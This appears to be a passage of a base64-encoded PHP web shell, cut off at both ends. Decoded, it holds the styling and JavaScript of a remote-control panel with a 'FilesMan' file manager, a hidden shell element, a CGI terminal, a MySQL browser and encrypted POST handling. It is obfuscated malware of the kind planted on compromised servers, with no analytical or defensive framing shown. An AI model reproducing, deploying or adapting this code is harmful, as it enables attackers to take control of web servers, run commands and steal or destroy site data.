Gg6MTZweDttaW4taGVpZ2h0OjhweDtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206LjdlbTtsZWZ0Oi43NWVtO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBpe2Rpc3BsYXk6YmxvY2s7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7Ym9y
ZGVyLWJvdHRvbToxcHggc29saWQgIzY2Njtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjB9Lm15c3FsLXRhYmxlcyAuYmxvY2sgYntkaXNwbGF5OmJsb2NrO2hlaWdodDouNzVlbTtib3R0b206MDtsZWZ0Oi43NWVtO2JvcmRlci1sZWZ0OjFweCB
zb2xpZCAjNjY2fS5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGEsLm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgdXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3otaW5kZXg6MTB9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgaW1ne3Bvc2
l0aW9uOnJlbGF0aXZlO3RvcDotLjZlbTtsZWZ0OjA7bWFyZ2luLWxlZnQ6LTdweH0ubXlzcWwtdGFibGVzIC5jbGVhcmZsb2F0e2NsZWFyOmJvdGh9Lm15c3FsLXRhYmxlcyB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZTttYXJnaW4tbGVmdDowO3BhZ
GRpbmc6MH0ubXlzcWwtdGFibGVzIHVsIGxpe3doaXRlLXNwYWNlOm5vd3JhcDtjbGVhcjpib3RoO21pbi1oZWlnaHQ6MTZweH0ubXlzcWwtdGFibGVzIC5kYl9uYW1le21hcmdpbi1sZWZ0OjEwcHh9Lm15c3FsLXRhYmxlcyAubGlzdF9jb250YWlu
ZXJ7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjY7bWFyZ2luLWxlZnQ6Ljc1ZW07cGFkZGluZy1sZWZ0Oi43NWVtfS5oaWRlLWRiLXRhYmxlc3tkaXNwbGF5Om5vbmV9Lm15c3FsLW1haW46YWZ0ZXJ7Y29udGVudDoiIjtkaXNwbGF5OnRhYmxlO2N
sZWFyOmJvdGh9dGFibGUubXlzcWwtZGF0YS10Ymx7Ym9yZGVyOm5vbmUhaW1wb3J0YW50O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZSFpbXBvcnRhbnR9dGFibGUubXlzcWwtZGF0YS10YmwgdHIgdGh7cGFkZGluZzo1cHh9dGFibGUubXlzcWwtZG
F0YS10YmwgdGR7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICMzMDVhOGQ7Ym9yZGVyLXJpZ2h0OjNweCBzb2xpZCAjMzA1YThkO3BhZGRpbmc6NnB4fXRhYmxlLm15c3FsLWRhdGEtdGJsIHRkOmZpcnN0LWNoaWxke2JvcmRlci1sZWZ0Om5vbmV9dGFib
GUubXlzcWwtZGF0YS10YmwgdGQ6bGFzdC1jaGlsZHtib3JkZXItcmlnaHQ6bm9uZX0ubXlzcWwtaW5zZXJ0LXJlc3VsdCwubXlzcWwtc3RydWN0dXJlLXFyZXMsLm15c3FsLXVwZGF0ZS1yZXN1bHR7ZGlzcGxheTpub25lO3RleHQtYWxpZ246Y2Vu
dGVyO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IGRhc2hlZDttYXJnaW46MjJweH0jaG9raS1jb3B5cmlnaHR7bWFyZ2luLXRvcDoxNXB4fS5pY19iX3BsdXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9
tZW51L2JfcGx1cy5wbmcpfS5pY19iX21pbnVze2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyl9Cjw/cGhwIGVjaG8gJwpAa2V5ZnJhbWVzIHNwaW4ge2Zyb20ge3RyYW5zZm
9ybTogcm90YXRlKDBkZWcpO310b3t0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtd2Via2l0LWtleWZyYW1lcyBzcGluIHtmcm9tIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LXdlYmtpdC10cmFuc2Zvcm06IHJvd
GF0ZSgzNjBkZWcpO319CkAtbW96LWtleWZyYW1lcyBzcGluIHtmcm9tIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1vei10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CkAtbXMta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1t
cy10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG8gey1tcy10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319CiNob2tpbG9hZGVyeycuJGNzc2NvZGUuJ3dpZHRoOjEwMHB4O2hlaWdodDoxMDBweDt9CiNhX2xvYWRlciBpbWd7Jy4kY3NzY29kZS4
nd2lkdGg6MTUwcHg7aGVpZ2h0OjE1MHB4O3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6OTk5OTk5O3RvcDogMzElO2xlZnQ6IDQ1JTt9Ci5hamF4YXJlYXtkaXNwbGF5Om5vbmU7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2NvbG9yOiM2N0FCREZ9Ln
VwX2JhcnttYXJnaW4tYm90dG9tOiAycHg7dHJhbnNpdGlvbjp3aWR0aCAycztiYWNrZ3JvdW5kLWNvbG9yOnJlZDt3aWR0aDowO2hlaWdodDo4cHg7ZGlzcGxheTpub25lO30jaGlkZGVuX3Noe2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTt0ZXh0L
WFsaWduOmNlbnRlcjtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO2xlZnQ6OTAlO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MmVtfS5hbGVydF9ncmVlbntjb2xvcjojMEYwO2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6
c21hbGw7dGV4dC1kZWNvcmF0aW9uOm5vbmV9Lndob2xle2JhY2tncm91bmQtY29sb3I6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwczovL2kuZ2lmZXIuY29tLzF2NmYuZ2lmKTtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlcjtiYWNrZ3J
vdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0fS5oZWFkZXJ7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztib3JkZXI6N3B4IHNvbGlkICMwRTMwNEE7Y29sb3I6Jy5ob2tpX2dldENvbG9yKCJoZWFkZXJfdmFsdW
VzIikuJztmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfS5oZWFkZXIgYXt0ZXh0LWRlY29yYXRpb246bm9uZTt9LmZpbGVzdG9vbHMgYXtjb2xvcjojMEYwO3RleHQtZGVjb3JhdGlvbjpub25lfS5ma
Wxlc3Rvb2xzIGE6aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9c3Bhbntmb250LXdlaWdodDpib2xkZXI7Y29sb3I6I0ZGRn0udHh0Zm9udHtmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Zm9udC1zaXplOnNtYWxsO2Nv
bG9yOiNmZmY7ZGlzcGxheTppbmxpbmUtYmxvY2t9LnR4dGZvbnRfaGVhZGVye2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6bGFyZ2U7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y29sb3I6IzU5Y2MzM30udGJsdHh0e2ZvbnQtZmF
taWx5OiJDb21pYyBTYW5zIE1TIjtjb2xvcjojZmZmO2ZvbnQtc2l6ZTpzbWFsbDtkaXNwbGF5OmlubGluZS1ibG9ja31pbnB1dFt0eXBlPSJmaWxlIl17ZGlzcGxheTpub25lfS5pbnB1dGZpbGV7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2
tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7Ym9yZGVyLXJhZGl1czo0cHg7aGVpZ2h0OjIwcHg7d2lkdGg6MjUwcHg7dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXA7Y3Vyc29yOnBva
W50ZXI7ZGlzcGxheTppbmxpbmUtYmxvY2s7b3ZlcmZsb3c6aGlkZGVufS5pbnB1dGZpbGU6aG92ZXJ7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1v
ei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9LmlucHV0ZmlsZSBzcGFuLC5pbnB1dGZ
pbGUgc3Ryb25ne3BhZGRpbmc6MnB4O3BhZGRpbmctbGVmdDoxMHB4fS5pbnB1dGZpbGUgc3Bhbntjb2xvcjojMjVmZjAwO3dpZHRoOjkwcHg7bWluLWhlaWdodDoyZW07ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1vdmVyZmxvdzplbGxpcHNpcz
t3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3ZlcnRpY2FsLWFsaWduOnRvcDtmbG9hdDpsZWZ0fS5pbnB1dGZpbGUgc3Ryb25ne2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignaG9raW1pbmknKS4nKTtiYWNrZ3Jvd
W5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpmbG9hdDtoZWlnaHQ6MTAwJTt3aWR0aDoxMDlweDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtkaXNwbGF5OmlubGluZS1ibG9jaztmbG9hdDpyaWdodH0u
aW5wdXRmaWxlOmZvY3VzIHN0cm9uZywuaW5wdXRmaWxlLmhhcy1mb2N1cyBzdHJvbmcsLmlucHV0ZmlsZTpob3ZlciBzdHJvbmd7YmFja2dyb3VuZC1jb2xvcjojNDY2NDdBfS5idXR0b257cGFkZGluZzozcHh9I2FkZHVwLC5idXR0b257b3V0bGl
uZTpub25lO2N1cnNvcjpwb2ludGVyO2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaX
VzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6Z3JlZW47Ym9yZGVyLXJhZGl1czoxMDBwe
H0jYWRkdXA6aG92ZXIsLmJ1dHRvbjpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRp
dXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06ZGlzYWJsZWQ6aG92ZXJ7Y3Vyc29yOm5vdC1hbGxvd2VkfXR
ke3BhZGRpbmc6Jy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPT0nMSc/JzAnOicxJykuJ3B4fS5teUNoZWNrYm94e3BhZGRpbmctbGVmdDoycHh9Lm15Q2hlY2tib3ggbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y3Vyc29yOn
BvaW50ZXI7cG9zaXRpb246cmVsYXRpdmV9Lm15Q2hlY2tib3ggaW5wdXRbdHlwZT1jaGVja2JveF17ZGlzcGxheTpub25lfS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjE0cHg7a
GVpZ2h0OjEzcHg7cG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjojYWFhO2JveC1zaGFkb3c6aW5zZXQgMCAycHggM3B4IDAgcmdiYSgwLDAsMCwuMyksMCAxcHggMCAwIHJnYmEoMjU1LDI1NSwyNTUsLjgpfS5teUNoZWNrYm94IGxh
YmVse21hcmdpbi1ib3R0b206MTVweDtwYWRkaW5nLXJpZ2h0OjE3cHh9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2JvcmRlci1yYWRpdXM6MTAwcHh9aW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCArIGxhYmVsOmJlZm9yZXtjb250ZW50OiI
iO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2hva2ltaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246NTAlIDUwJTtiYWNrZ3JvdW
5kLXNpemU6MTRweCAxNHB4O2JveC1zaGFkb3c6MCAwIDRweCAjMEYwfSNtZXVubGlzdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO2NvbG9yOiNGRkY7d2lkdGg6YXV0bztib3JkZXItcmlnaHQtd2lkdGg6N3B4O2JvcmRlc
i1sZWZ0LXdpZHRoOjdweDtoZWlnaHQ6YXV0bztmb250LXNpemU6MTJweDtmb250LXdlaWdodDo3MDA7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1jb2xvcjojMEUzMDRBO2JvcmRlci1zdHlsZTpzb2xpZH0ud2hvbGUgI21ldW5saXN0IHVse3Rl
eHQtYWxpZ246Y2VudGVyO2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbjowO3BhZGRpbmc6NXB4IDVweCA3cHggMnB4fS53aG9sZSAjbWV1bmxpc3QgbGl7bWFyZ2luOjA7cGFkZGluZzowO2Rpc3BsYXk6aW5saW5lfS53aG9sZSAjbWV1bmxpc3Q
gYXtmb250LWZhbWlseTphcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtd2VpZ2h0OjcwMDtjbGVhcjpib3RoO3dpZHRoOjEwMHB4O21hcmdpbi1yaWdodDotNnB4O2JvcmRlci1yaWdodC13aW
R0aDoxcHg7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1jb2xvcjojRkZGO3BhZGRpbmc6M3B4IDE1cHh9LmZvb3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjttYXJnaW46MDtwYWRkaW5nOjA7d2lkd
Gg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjojMEUzMDRBO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2JvcmRlci1ib3R0b20td2lkdGg6N3B4O2JvcmRlci1ib3R0b20tc3R5
bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItbGVmdC1zdHlsZTpzb2xpZDtib3JkZXItY29sb3I6IzBFMzA0QX0jdGV4dHt0ZXh0LWFsaWduOmNlbnRlcn1pbnB1dFt0eXBlPXN
1Ym1pdF17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdidG4nKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToyM3
B4IDIzcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JvcmRlci1yYWRpdXM6MTAwcHh9dGV4dGFyZWF7cGFkZGluZzozcHg7Y29sb3I6Izk5OTt0ZXh0LXNoYWRvd
zojNzc3IDAgMCAzcHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1y
YWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH10ZXh0YXJlYTpob3Zlcntjb2xvcjojRkZGO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDt
ib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm
94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdLGlucHV0W3R5cGU9bnVtYmVyXSwuaG9raV9jdXN0b21fY21kX2J0bntwYWRkaW5nOjNweDtjb
2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRp
dXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fWlucHV0W3R5cGU9c3VibWl0XTpob3Zlcntjb2xvcjo
jMDAwO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MnB4IHNvbGlkICMyNzk3OUI7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYW
RvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRwe
CAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwx
MTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fXNlbGVjdHtwYWRkaW5nOjNweDt3aWR0aDoxNjJweDtjb2xvcjojRkZFO3RleHQtc2hhZG93OiMwMDAgMCAycHggN3B4O2JvcmRlcjoxcHggc29saWQgIzB
FMzA0QTtiYWNrZ3JvdW5kOiMwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYW
RpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH1zZWxlY3Q6aG92ZXJ7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO3BhZGRpb
mc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5
LDApIDAgMCA0cHh9Ci5mb290dGFibGV7d2lkdGg6IDMwMHB4O2ZvbnQtd2VpZ2h0OiBib2xkOycuKCFAaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8nfS5kaXJ7YmFja2dyb3VuZC1jb2xvcjpyZWQ7fSc6J30nKS4nLm1haW4gdGh7dGV4dC1
hbGlnbjpsZWZ0O30ubWFpbiBhe2NvbG9yOiAjRkZGO30ubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjQgIWltcG9ydGFudDt9Lm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO3BhZGRpbmc6NXB4O21hcmdpbjowO292ZX
JmbG93OiBhdXRvOyB9LmJpZ2FyZWF7IHdpZHRoOjk5JTsgaGVpZ2h0OjMwMHB4OyB9Lmhva2lfY3VzdG9tX2NtZF9idG4ge3BhZGRpbmc6IDVweDtjb2xvcjogIzI0ZmYwMztjdXJzb3I6IHBvaW50ZXI7fS5hamF4YXJlYS5maWxlc21hbi1hY3Rpd
mUtY29udGVudCB7ZGlzcGxheTogYmxvY2s7fScuaG9raUNzc0xvYWRDb2xvcnMoKS4nCjwvc3R5bGU+JzsKZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNb
J2N3ZCddKSAuICInOwp2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIic7CnZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsKdmFyIGlzbGludXggPSA
iLigkR0xPQkFMU1snc3lzJ10hPSJ3aW4iPyd0cnVlJzonZmFsc2UnKS4iOwp2YXIgcG9zdF9lbmNyeXB0aW9uX21vZGUgPSAiLihfX0hPS0lfUE9TVF9FTkNSWVBUSU9OX18/J3RydWUnOidmYWxzZScpLiI7Ijs/Pgp2YXIgaG9raTFfPSIiLGhva2
kyXz0iIixob2tpM189IiIsaG9raTRfPSIiLGhva2k1Xz0iIixob2tpNl89IiIsaG9raTdfPSIiLGhva2k4Xz0iIixob2tpOV89IiIsaG9raTEwXz0iIixkPWRvY3VtZW50LG15c3FsX2NhY2hlPXt9LGVkaXRvcl9maWxlcz17fSxlZGl0b3JfZXJyb
3I9ITAsZWRpdG9yX2N1cnJlbnRfZmlsZT0iIixwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLGlzX21pbmltaXplZD0hMSxjZ2lfaXNfbWluaW1pemVkPSExLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSxkYXRhYmFzZV93aW5kb3dfaXNf
bWluaW1pemVkPSExLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PW51bGwsY2FuX2hhc2hjaGFuZ2Vfd29yaz0hMCxob2tpX2Nhbl9hZGRfb3B0PSExLGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIixob2tpX2FjZV9lZGl0b3JzPXtlZGl0b3I6bnV
sbCxldmFsOm51bGx9LGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YT17fSxfSE9LSV9BSkFYXz17fSxjZ2lfbGFuZz0iIix1cGNvdW50PTEsdGVybWluYWxfd2Fsa19pbmRleD1bXSxob2tpX2N1cnJlbnRfZm1faWQ9MSxob2tpX2ZtX2lkPTA7ZnVuY3
Rpb24gc2V0KGUsYSx0LGksbCxvLHIsbixzLGMsZixfLHUpe2QubWYuYS52YWx1ZT1udWxsIT1lP2U6YV8sZC5tZi5jLnZhbHVlPW51bGwhPWE/YTpjXyxkLm1mLmhva2kxLnZhbHVlPW51bGwhPXQ/dDoiIixkLm1mLmhva2kyLnZhbHVlPW51bGwhP
Wk/aToiIixkLm1mLmhva2kzLnZhbHVlPW51bGwhPWw/bDoiIixkLm1mLmhva2k0LnZhbHVlPW51bGwhPW8/bzoiIixkLm1mLmhva2k1LnZhbHVlPW51bGwhPXI/cjoiIixkLm1mLmhva2k2LnZhbHVlPW51bGwhPW4/bjoiIixkLm1mLmhva2k3LnZh
bHVlPW51bGwhPXM/czoiIixkLm1mLmhva2k4LnZhbHVlPW51bGwhPWM/YzoiIixkLm1mLmhva2k5LnZhbHVlPW51bGwhPWY/ZjoiIixkLm1mLmhva2kxMC52YWx1ZT1udWxsIT1fP186IiIsZC5tZi5jaGFyc2V0LnZhbHVlPW51bGwhPXU/dTpjaGF
yc2V0X31mdW5jdGlvbiBmYyhlKXt2YXIgYT1ob2tpX2N1cnJlbnRfZm1faWQsdD0iYT0iK2hva2liNjQoIkZpbGVzTWFuIikrIiZjPSIraG9raWI2NChlLmMudmFsdWUpKyImaG9raTE9Iitob2tpYjY0KGUuaG9raTEudmFsdWUpKyImYWpheD0iK2
hva2liNjQoInRydWUiKSsiJiIsaT0iIixsPTA7aWYoZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY
2tlZCYmKGwrKyxpKz0iZltdPSIraG9raWI2NChkZWNvZGVVUklDb21wb25lbnQoZS52YWx1ZSkpKyImIil9KSwwPT1sJiYicGFzdGUiIT1lLmhva2kxLnZhbHVlKXJldHVybiExO3N3aXRjaChob2tpbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIith
LCJibG9jayIpLGUuaG9raTEudmFsdWUpe2Nhc2UiZGVsZXRlIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIGE9ZS5xdWVyeVNlbGVjdG9yKCJ
pbnB1dFt0eXBlPWNoZWNrYm94XSIpO2EuY2hlY2tlZCYmIi4uIiE9YS52YWx1ZT9lLnJlbW92ZSgpOmEuY2hlY2tlZD0hMX0pLGQucXVlcnlTZWxlY3RvcigiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuY2hrYngiKS5jaGVja2VkPSExO2JyZWFrO2
Nhc2UiY29weSI6Y2FzZSJtb3ZlIjpjYXNlInppcCI6Y2FzZSJ1bnppcCI6ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY
2hlY2tlZD0hMX0pfV9BamF4KGQuVVJMLHQraSxmdW5jdGlvbihlKXtob2tpbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIithLCJub25lIiksaG9raUZtbmdyQ29udGV4dFJvdygpfSwhMSwiZmlsZXNtYW5faG9sZGVyXyIrYSl9ZnVuY3Rpb24gaW5p
dERpcihlKXt2YXIgYT0iIix0PSIiO2lzbGludXgmJihhPSI8YSBjbGFzcz1cImhlYWRlcl9wd2RcIiBvbmNsaWNrPVwiZygnRmlsZXNNYW4nLCcvJyk7XCIgcGF0aD0nLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Lyc+LzwvYT4iLHQ9Ii8
iKTt2YXIgbD1lLnNwbGl0KCIvIiksbz0iIixyPWlzbGludXg/Ii8iOiIiO2ZvcihpIGluIi0xIiE9bC5pbmRleE9mKCIuLiIpJiYobC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLTEsMSksbC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLDEpKSxsKSIiIT
